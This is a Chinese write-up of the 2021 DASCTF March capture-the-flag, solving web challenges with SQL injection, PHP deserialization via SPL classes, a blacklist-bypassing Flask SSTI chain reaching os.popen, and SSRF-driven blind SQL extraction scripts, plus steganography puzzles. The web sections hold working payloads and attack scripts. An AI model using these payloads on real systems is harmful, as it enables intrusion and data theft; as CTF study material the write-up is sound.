文章目录

  • WEB
  • BestDB
  • ez_serialize
  • baby_flask
  • ez_login
  • MISC
  • 签到
  • 简单的png隐写
  • 雾都孤儿
  • 小田的秘密
  • Ascii_art
  • 问卷调查


和团队的师傅们组队拿了个第十,师傅们带飞,我就是团队的MVP(Most Vegetable People)

2021-DASCTF-三月赛-Writeup_Writeup


2021-DASCTF-三月赛-Writeup_php_02

WEB

BestDB

2021-DASCTF-三月赛-Writeup_PHP_03


简单的SQL注入

/?query=mochu"or/**/1=1%23
/?query=mochu"order/**/by/**/3%23
/?query=mochu"union/**/select/**/1,2,3%23
/?query=mochu"union/**/select/**/load_file(0x2f6574632f706173737764),2,3%23
/?query=mochu"union/**/select/**/load_file(0x2f666c61672e747874),2,3%23

2021-DASCTF-三月赛-Writeup_Writeup_04

ez_serialize

index.php

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

先简单分析下每个类的功能吧,class A__construct()方法给变量设置了初始值,然后拼接了动态类(类名和参数都可控)并且实例化后输出结果。__wakeup()方法实例化了class C,然后验证了$this->para$this->class之后进行了拼接动态类、实例化、并且输出。class B没啥用处,__construct()会输出$this->aclass C类用于过滤一些指定字符,不过这里过滤没啥用。

利用PHP标准库 (SPL): https://www.php.net/manual/zh/book.spl.php PHP标准库中有能够进行文件处理和目录迭代的类

Class

Introduction

DirectoryIterator

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

FilesystemIterator

The Filesystem iterator

GlobIterator

Iterates through a file system in a similar fashion to glob().

SplFileObject

The SplFileObject class offers an object oriented interface for a file.

<?php 
class A{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "FilesystemIterator";
        $this->para = "/var/www/html";
		}
	}
$poc = new A(); 
echo serialize($poc);
?>
O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";}

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_05


1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE是个目录,继续浏览这个目录下有啥

O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";}

2021-DASCTF-三月赛-Writeup_Writeup_06

<?php 
class A{
    public $class;
    public $para;
    public function __construct(){
        $this->class = "SplFileObject";
        $this->para = "/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
		}
	}
$poc = new A(); 
echo serialize($poc);
?>
O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";}

2021-DASCTF-三月赛-Writeup_Writeup_07

baby_flask

F12查看源码发现黑名单

Hi young boy!
Do you like ssti?

blacklist  

'.','[','\'','"',''\\','+',':','_',
'chr','pop','class','base','mro','init','globals','get',  
'eval','exec','os','popen','open','read',  
'select','url_for','get_flashed_messages','config','request', 
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'

过滤了很多特殊符号和关键字以及数字,包括全角半角数字。一步步来,先本地起一个Flask的SSTI环境来进行测试

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')
    template = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

首先这里过滤了+'",不过还是可以拼接字符,利用join过滤器

{%set a=dict(mo=a,chu7=a)|join%}{{a}}

2021-DASCTF-三月赛-Writeup_html_08


这样就可以绕过黑名单里面的关键字了,但是一些特殊符号还是无法绕过,例如:_[等,尝试通过在回显的字符中获取,例如:lipsum

lipsum的输出转换成字符再转换成列表字符

{{lipsum|string|list}}

2021-DASCTF-三月赛-Writeup_Writeup_09


这里有下划线,根据黑名单里面的过滤字符,这里可以使用index的方式来取每一位字符的下标数字,过滤了点.可以通过attr来绕过

{%set idx=dict(ind=a,ex=a)|join%}
{%set ff=dict(f=a)|join%}
{{(lipsum|string|list)|attr(idx)(ff)}}

2021-DASCTF-三月赛-Writeup_html_10

这样就能拿到字符f的下标数字1了,也就能拿到所有的数字了

{%set ff=dict(f=a)|join%}	//下标是数字1
{%set uu=dict(u=a)|join%}	//下标是数字2
{%set nn=dict(n=a)|join%}	//下标是数字3
{%set cc=dict(c=a)|join%}	//下标是数字4
{%set tt=dict(t=a)|join%}	//下标是数字5
{%set ii=dict(i=a)|join%}	//下标是数字6
{%set oo=dict(o=a)|join%}	//下标是数字7
{%set gg=dict(g=a)|join%}	//下标是数字10
{%set ee=dict(e=a)|join%}	//下标是数字11
{%set rr=dict(r=a)|join%}	//下标是数字14
{%set aa=dict(a=a)|join%}	//下标是数字15
.......

然后获取下划线_,可以通过pop或者__getitem__来获取指定下标的字符

{%set idx=dict(ind=a,ex=a)|join%}
{%set p=dict(po=a,p=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{{(lipsum|string|list)|attr(p)(three*six)}}

2021-DASCTF-三月赛-Writeup_php_11


等效于:{{(lipsum|string|list).pop(18)}} 拿到下划线了之后,就可以构造__globals____builtins__,这样就可以使用chr

{{lipsum.__globals__['__builtins__'].chr(65)}}

2021-DASCTF-三月赛-Writeup_Writeup_12

{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set ff=dict(f=a)|join%}
{%set tt=dict(t=a)|join%}
{%set rr=dict(r=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set one=(lipsum|string|list)|attr(idx)(ff)%}
{%set five=(lipsum|string|list)|attr(idx)(tt)%}
{%set fourteen=(lipsum|string|list)|attr(idx)(rr)%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set chars=(lipsum|attr(gbls))|attr(gt)(bltns)|attr(gt)(char)%}
{%set A=chars((fourteen-one)*five)%}
{{A}}

2021-DASCTF-三月赛-Writeup_Writeup_13


接着尝试构造命令执行

{{lipsum.__globals__.get('os').popen('whoami').read()}}

2021-DASCTF-三月赛-Writeup_Writeup_14

{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set cmd=dict(whoami=a)|join%}
{{(lipsum|attr(gbls))|attr(gt)(so)|attr(ppn)(cmd)|attr(red)()}}

2021-DASCTF-三月赛-Writeup_PHP_15

ez_login

index.php

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>

目录扫描扫到一个admin.php

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_16


访问下发现只能从本地访问,加了个XFF也不行,看源码估计应该是利用SSRF从内部访问过去

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_17


分析代码,要利用SSRF得先绕过这个

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }

需要初始化session,这里需要利用PHP_SESSION_UPLOAD_PROGRESS来初始化session

session.upload_progressphp>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的

# -*- coding: utf-8 -*-
import requests

url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}

r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

print(r.text)

初始化session后,利用SSRF根据之前的提示访问内网的admin.php

POST /?url=http://localhost/admin.php HTTP/1.1
Host: 183.129.189.60:10015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jtq4q3fdfgnckcrd52a6nhf90a
Content-Type: multipart/form-data; boundary=---------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Length: 345

-----------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

mochu7
-----------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="file"; filename="mochu7.txt"

mochu7
-----------------------------2f3cfb380baba3a0dbedba68771e56c3--

2021-DASCTF-三月赛-Writeup_html_18


admin.php长这样

2021-DASCTF-三月赛-Writeup_php_19

admin.php的注释里面有一个/yuanma_f0r_eAZy_logon.zip,访问下载得到se1f_Log3n.php

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
    exit();
}else{
    try{
    $sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
    $result = $con->query($sql);
    echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') )); 
}

布尔盲注,url编码一下payload,#(%23)两次编码

from urllib.parse import quote

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or 1=1%23&password=mochu7'
print(quote(payload))

对比下这两次结果即可判断是布尔盲注

/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D1%2523%26password%3Dmochu7

2021-DASCTF-三月赛-Writeup_PHP_20

/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D2%2523%26password%3Dmochu7

2021-DASCTF-三月赛-Writeup_php_21


附上脚本

# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import time

asc_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag = ''
for l in range(1,50):
    for s in asc_str:
        payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=mochu7'.format(l,ord(s))
        url = ip + quote(payload)
        r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        time.sleep(0.2)
        if 'correct?' in r.text:
            flag += s
            print(flag)
        else:
            pass

Payload和查询的信息

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select user()),{},1))={}%23password=mochu7'.format(l,ord(s))

user(): root@localhost


payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))={}%23password=mochu7'.format(l,ord(s))

databases: ctf,information_schema,mysql,performance_schema,test


payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}%23password=mochu7'.format(l,ord(s))

Table_in_ctf: secret,users


payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'secret\'),{},1))={}%23password=mochu7'.format(l,ord(s))

Column_in_secret: flag


payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=mochu7'.format(l,ord(s))

2021-DASCTF-三月赛-Writeup_html_22

MISC

签到

公众号语音识别:异世相遇!尽享美味!安恒赛高! 见笑了,偶四南方银,藕的普通话不镖准哈哈哈~

2021-DASCTF-三月赛-Writeup_PHP_23

DASCTF{welcome_to_march_dasctf}

简单的png隐写

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_24


2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_25


一开始以为hint.png是伪加密,flag.jpg是真加密,结果后面尝试了一下发现两个都是伪加密,直接修改ushort deFlags偶数,解压得到两张图

2021-DASCTF-三月赛-Writeup_php_26


题目说是png隐写,Tweakpng或者pngcheck检查下hint.png

root@mochu7 # pngcheck -v hint.png
File: hint.png (73727 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1654 x 485 image, 32-bit RGB+alpha, non-interlaced
  chunk IDAT at offset 0x00025, length 8192
    zlib: deflated, 32K window, default compression
  chunk IDAT at offset 0x02031, length 8192
  chunk IDAT at offset 0x0403d, length 8192
  chunk IDAT at offset 0x06049, length 2308
  chunk IDAT at offset 0x06959, length 8192
  chunk IDAT at offset 0x08965, length 8192
  chunk IDAT at offset 0x0a971, length 8192
  chunk IDAT at offset 0x0c97d, length 8192
  chunk IDAT at offset 0x0e989, length 8192
  chunk IDAT at offset 0x10995, length 5718
  chunk IEND at offset 0x11ff7, length 0
No errors detected in hint.png (12 chunks, 97.7% compression).

发现IDAT Chunk未满,后面又开始满了,所以猜测这里是两张图片,而且chunklength都一样,感觉像一张图片拆成两张图,然后将另外一张的IDAT Chunk放入这张hint.png,所以直接将后面的chunk和结尾全部提取出来加上png头和IHDR组成另外一张png图片

2021-DASCTF-三月赛-Writeup_php_27

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_28


得到新的提示outguess,并且密码是:890504E

root@kali /home/mochu7/Desktop % outguess -k "89504E" -r flag.jpg flag.txt
Reading flag.jpg....
Extracting usable bits:   147535 bits
Steg retrieve: seed: 232, len: 185
root@kali /home/mochu7/Desktop % cat flag.txt 
MUY4QjA4MDg5MTgwNzg1RTAwMDM2NjZDNjE2NzJFNzQ3ODc0MDA0QkNCNDk0Q0FGMzZCMDMwMzQ0RDM1NDlCNjRDMzMzNTMzMzRCMTQ4MzVCNzQ4NEEzNTMzNDg0OTMyMzU0QjRFMzUzMTQ5MzFCNUFDRTVFMjAyMDA0NjhCMjIzRjI4MDAwMDAw

base64解码

1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000

gzip的十六进制文件数据

2021-DASCTF-三月赛-Writeup_php_29


Python简单处理

from binascii import *

hexdata = "1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000"
with open('flag.gz','wb') as f:
    f.write(unhexlify(hexdata))

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_30


或者CyberChef直接可以base64->hex->Gziphttps://gchq.github.io/CyberChef/

2021-DASCTF-三月赛-Writeup_php_31

flag{0815e4c9f56148e78be60db56ce44d59}

雾都孤儿

2021-DASCTF-三月赛-Writeup_php_32


1.png是一种Colorful programmingnpiet: https://www.bertnase.de/npiet/npiet-online: https://www.bertnase.de/npiet/npiet-execute.php

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_33


得到信息:Tetris

然后继续查看Oliver Twist.docx

2021-DASCTF-三月赛-Writeup_php_34


只有这一张图片了,改docx后缀为zip取出原图image1.jpeg

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_35


JPG图片,然后有密钥:Tetris,试了几个常见的jpg隐写,发现是outguess隐写

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_36

100000001001
11010101110
10000001101
100000001010
110101010
1101010110111
100000001000
110101010
0001
0100
11011
11010100110
110101000
11011
11010100110
11010101111
1100100
101101
101101
1001
101110
11010100110
100000001001
0100
101111
11010110
001
0101
11011
11010100110
11011
001
101111
0000
001
1010
11010100110
1000000111
1000000111
110101011000

到这里就不会了…,参考fzwjscj师傅的writeup文章中的脚本
原文链接:http://www.fzwjscj.xyz/index.php/archives/41/?_wv=16777223&_bid=3354 自制编码,ouguess提取出来的是Huffman编码,对docx文档中进行字频统计,然后进行哈夫曼编码得到flag

#Huffman Encoding
#Tree-Node Type

import random
class Node:
    def __init__(self,freq):
        self.left = None
        self.right = None
        self.father = None
        self.freq = freq
    def isLeft(self):
        return self.father.left == self
#create nodes创建叶子节点
def createNodes(freqs):
    return [Node(freq) for freq in freqs]

#create Huffman-Tree创建Huffman树
def createHuffmanTree(nodes):
    queue = nodes[:]
    print(queue) #一个个node的地址
    #每次对queue进行排序,
    while len(queue) > 1:
        queue.sort(key=lambda item:item.freq) #reverse = false
        node_left = queue.pop(0)
        node_right = queue.pop(0)
        node_father = Node(node_left.freq + node_right.freq)
        node_father.left = node_left
        node_father.right = node_right
        node_left.father = node_father
        node_right.father = node_father
        queue.append(node_father)
    queue[0].father = None
    return queue[0]
#Huffman编码
def huffmanEncoding(nodes,root):
    codes = [''] * len(nodes)
    for i in range(len(nodes)):
        node_tmp = nodes[i]
        while node_tmp != root:
            if node_tmp.isLeft():
                codes[i] = '0' + codes[i]
            else:
                codes[i] = '1' + codes[i]
            node_tmp = node_tmp.father
    return codes

def freq_count(strr):
    chars = []
    chars_fre = []
    for i in range(len(strr)):
        if strr[i] in chars:
            pass
        else:
            chars.append(strr[i])
            char_fre = (strr[i], strr.count(strr[i]))
            chars_fre.append(char_fre)
    return chars_fre

def encoder_huffman(strr,chars_fre,codes):
    huffmans=''
    for word in strr:
        i = 0
        #用于与code【i】还有item 的符号一一对应
        for item in chars_fre:
            if word == item[0]:
                huffmans += codes[i]
            i += 1
    print(huffmans)
    return huffmans

def decode_huffman(huffmans,codes,chars_fre):
    original_code=''
    while huffmans!='':
        i=0
        for item in codes:
            if item in huffmans:
                if huffmans.index(item) ==0:
                    original_code += chars_fre[i][0]
                    huffmans=huffmans[len(item):]
            i+=1
    return original_code

if __name__ =='__main__':
    sttttt=""
    sttttt = open('docx.txt','r').read()#docx.txt为Oliver Twist.docx中提取出来的文字
    chars_freqs =[]
    chars_freqs = freq_count(sttttt)
    print('文本中字符的统计如下:\n'+str(chars_freqs))
    nodes = createNodes([item[1] for item in chars_freqs])
    root = createHuffmanTree(nodes)
    codes = huffmanEncoding(nodes,root)
    res = {}
    for item in zip(chars_freqs,codes):
        print ('Character:%s freq:%-2d   encoding: %s' % (item[0][0],item[0][1],item[1]))
        res.update({item[1]:item[0][0]})
    print(res)
    d2 = open('flag.txt','r').readlines()#flag.txt为outguess提取出来的编码
    re = ''
    for i in d2:
        re+=res[i[:-1]]
    print(re)
DASCTF{This_Is_Hvffam_Dickens_secret_!!}

小田的秘密

2021-DASCTF-三月赛-Writeup_Writeup_37


解压,得到一个有密码的压缩包和一个流量包misc.pcapng

2021-DASCTF-三月赛-Writeup_php_38


猜测要从misc.pcapng中找到压缩包密码,追踪下TCP流量,找到一个gift的文件

2021-DASCTF-三月赛-Writeup_html_39


到处对象->HTTPindex.php中得到这个gift文件

🐇 🌷 🍇🍉🐇 🌺 🌷 🍇🍉🏁 🍇🍿🔤first🔤 ➡️ 🔤c0f1b6a831c399e2🔤🔤second🔤 ➡️ 🔤9b675bd57058fd46🔤🔤third🔤➡️🔤e6ae2fec3ad71c77🔤🔤fourth🔤 ➡️ 🔤89f58062f10dd731🔤🔤fifth🔤 ➡️ 🔤6316e53c8cdd9d99🔤🍆 ➡️ dic↪️ 🐽dic 🔤first🔤❗️ ➡️ aa 🍇😀 aa❗️🍉😀 🔤+🔤❗️🍿 🔤9ac6133c88aedbd6🔤 🔤26602a67be14ea8c🔤 🔤73b5f8d8ccd5ad31🔤 🔤c42125f82a562231🔤 🍆 ➡️ 🖍️🆕sdasca🐹 sdasca❗️😀 🐽sdasca 0❗️❗️🍉🐇 🐟 🍇🔑 🆕 🍇🍉❗️ 🙋 🍇😀 🔤a109e294d1e8155be8aa4🔤❗️🍉🍉🐇 🐡 🐟 🍇🔑 🆕 🍇 ⤴️🆕❗️ 🍉✒️ ❗️ 🙋 🍇😀 🔤8adf7f2f76030877🔤❗️🍉🍉🐇 🐋 🐟 🍇🔑 🆕 🍇 ⤴️🆕❗️ 🍉✒️ ❗️ 🙋 🍇😀 🔤eba66e10fba74dbf🔤❗️🍉🍉🐇 🐠 🐟 🍇🔑 🆕 🍇 ⤴️🆕❗️ 🍉✒️❗️ 🙋 🍇😀 🔤a7749e813e9e2dba🔤❗️ 🍉🍉

Emojicode,emojicode官网:https://www.emojicode.org/ 安装使用教程:https://www.emojicode.org/docs/guides/install.html

直接对gift文件内容进行编译,得到可执行文件

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_40


运行之后发现每次运行之后的第二段内容不一定一样,稍微试了几次发现misc.zip的压缩包密码是:c0f1b6a831c399e226602a67be14ea8c 解压得到flag.rar6464是一种叫Commodore 64的语言,详情见wiki: https://en.wikipedia.org/wiki/Commodore_64

C64在线运行站:https://virtualconsoles.com/online-emulators/c64/

10?:A=356142:GOSUB20:A=762:GOSUB20:A=222440:GOSUB20:END
20A=RND(-A)
30A=INT(RND(A)*22):IF A THEN ?CHR$(A+64);:GOTO30
40?" ";:RETURN

RUN

输入一遍,Save之后点击RUN

2021-DASCTF-三月赛-Writeup_Writeup_41


得到:NOT AN EGG 解压flag.rar得到flag

6bffd0d9321df3c229cdff714bb5a0b0

Ascii_art

2021-DASCTF-三月赛-Writeup_Writeup_42


2021-DASCTF-三月赛-Writeup_PHP_43


流量分析,整个包就只有一个流,很长要细心看

2021-DASCTF-三月赛-Writeup_html_44


banner中DASCTF字样上方两行是十六进制ASCII码

part2:10b56405cb78a92c and cxagfJPekxDGqPYoej0znrGB1LR

下方两行是倒序的十六进制ASCII码

key for part4:jFHotPW4nMIQPp0

cat part3|figlet -c -f colossal -w 60|aa3d得到的是part3的内容经过figlet指定字体colossal得到字样经过aa3d转换成Ascii art的立体3D图

AA3D: http://aa-project.sourceforge.net/aa3d/

2021-DASCTF-三月赛-Writeup_html_45


Figletlarry3d字体样式,内容是:Coolest 3D,猜测这里是想提示上面的内容是aa3dLarry3D字体:http://www.figlet.org/fontdb_example.cgi?font=larry3d.flf

2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_46


用Python简单处理下base64数据

from base64 import *

with open('base64.txt','r') as f:#art.py的base64数据
    f = str(b64decode(b64decode(b64decode(f.read()[::-1]))[::-1]),encoding='utf-8')
    lines = f.split('\n')
    with open('art.py','w') as f:
        for line in lines:
                f.write(line[::-1])
                f.write('\n')

得到art.py

#!/usr/bin/python

import os

banner = """.---$'63 47 46 79 64 44 49 36 4d 54 42 69 4e 54 59 30 4d 44 56 6a 59 6a 63 34 59 54 6b 79 59 79 42 68 62 6d 51 67'-----\\
| /-$'59 33 68 68 5a 32 5a 4b 55 47 56 72 65 45 52 48 63 56 42 5a 62 32 56 71 4d 48 70 75 63 6b 64 43 4d 55 78 53'---\ |
| |               | |                  | |                | |               | |                   | |                | |
| | oooooooooo.   | |        .o.       | |     .oooooo..o | |     .oooooo.  | |    ooooooooooooo  | |   oooooooooooo | |
| | '888'   'Y8b  | |       .888.      | |    d8P'    'Y8 | |    d8P'  'Y8b | |    8'   888   '8  | |   '888'     '8 | |
| | 888      888  | |     .8"888.      | |   Y88bo.       | |  888          | |         888       | |    888         | |
| | 888      888  | |    .8' '888.     | |    '"Y8888o.   | |  888          | |         888       | |    888oooo8    | |
| | 888      888  | |   .88ooo8888.    | |      '"Y88b    | | 888           | |         888       | |    888    "    | |
| | 888     d88'  | |   .8'     '888.  | |    oo     .d8P | |   '88b    ooo | |         888       | |   888          | |
| | o888bood8P'   | |  o88o     o8888o | |   8""88888P'   | |   'Y8bood8P'  | |        o888o      | |  o888o         | |
| |               | |                  | |                | |               | |                   | |                | |
| |&-'d3 14 44 36'$--------------------------------------------------------------------------------------------------/ |
  \-'15 64 65 35 e4 53 74 e4 85 24 64 46 67 86 b6 25 17 07 44 e4 03 a4 85 95 77 24 96 36 67 a5 74 94 53 65 23 16'$-----/
"""

print(banner)

part1 = "flag{"

part2 = "*"

part4_key = "*"

part3 = "*".upper()

part4 = "*"

Hint = """
 ____                    ___                   __           __    ____             
/\  _`\                 /\_ \                 /\ \__      /'__`\ /\  _`\           
\ \ \/\_\    ___     ___\//\ \      __    ____\ \ ,_\    /\_\L\ \\\ \ \/\ \         
 \ \ \/_/_  / __`\  / __`\\ \ \   /'__`\ /',__\\\ \ \/    \/_/_\_<_\\ \ \ \ \        
  \ \ \L\ \/\ \L\ \/\ \L\ \\_\ \_/\  __//\__, `\\\ \ \_     /\ \L\ \\\ \ \_\ \       
   \ \____/\ \____/\ \____//\____\ \____\/\____/ \ \__\    \ \____/ \ \____/       
    \/___/  \/___/  \/___/ \/____/\/____/\/___/   \/__/     \/___/   \/___/        
                                                                                                                       
"""

menu = """
1:Show Hint
2:Get FLAG?
3:Exit"""

while True:
    print(menu)
    ch = input()

    if ch == 3:
        exit(0)
    elif ch == 1:
        print(Hint)
    elif ch == 2:
        os.system("cat part3|figlet -c -f colossal -w 60|aa3d")

part4.zip的base64数据直接可以用这个站直接得到zip:https://the-x.cn/zh-cn/base64/

2021-DASCTF-三月赛-Writeup_php_47

part1: "flag{"
part2: 10b56405cb78a92c and cxagfJPekxDGqPYoej0znrGB1LR
part3: "*".upper()
part4key:key for part4:jFHotPW4nMIQPp0
part4: part4.zip(有密码)

part3就是aa3d的那个立体图,内容是十六进制大写字母经过figletaa3d处理得到下图

2021-DASCTF-三月赛-Writeup_Writeup_48


找了下以往CTF题目中aa3d的题目,都是使用图片对差偏移,来看清楚原来的内容,但是这里移来移去看不太清楚,就有点迷

2021-DASCTF-三月赛-Writeup_php_49


2021-DASCTF-三月赛-Writeup_2021-MAR-DASCTF_50


连总共有八位,十位,十二位都看不清楚,猜了很多个试了很多次校验了一下都不对,可能思路不对吧,part3猜不出来

part4.zip的密码并不是给出的part4 key,也是不是part2后面的,part4 key可能是part4.zip解出来的密文的密钥,至于压缩包密码,也不知道怎么做,伪加密不是,试了下爆破也没出,这题就卡在这里了

问卷调查

2021-DASCTF-三月赛-Writeup_php_51

DASCTF{3d579ef3b2b5c44066454b7fb7edb4f8}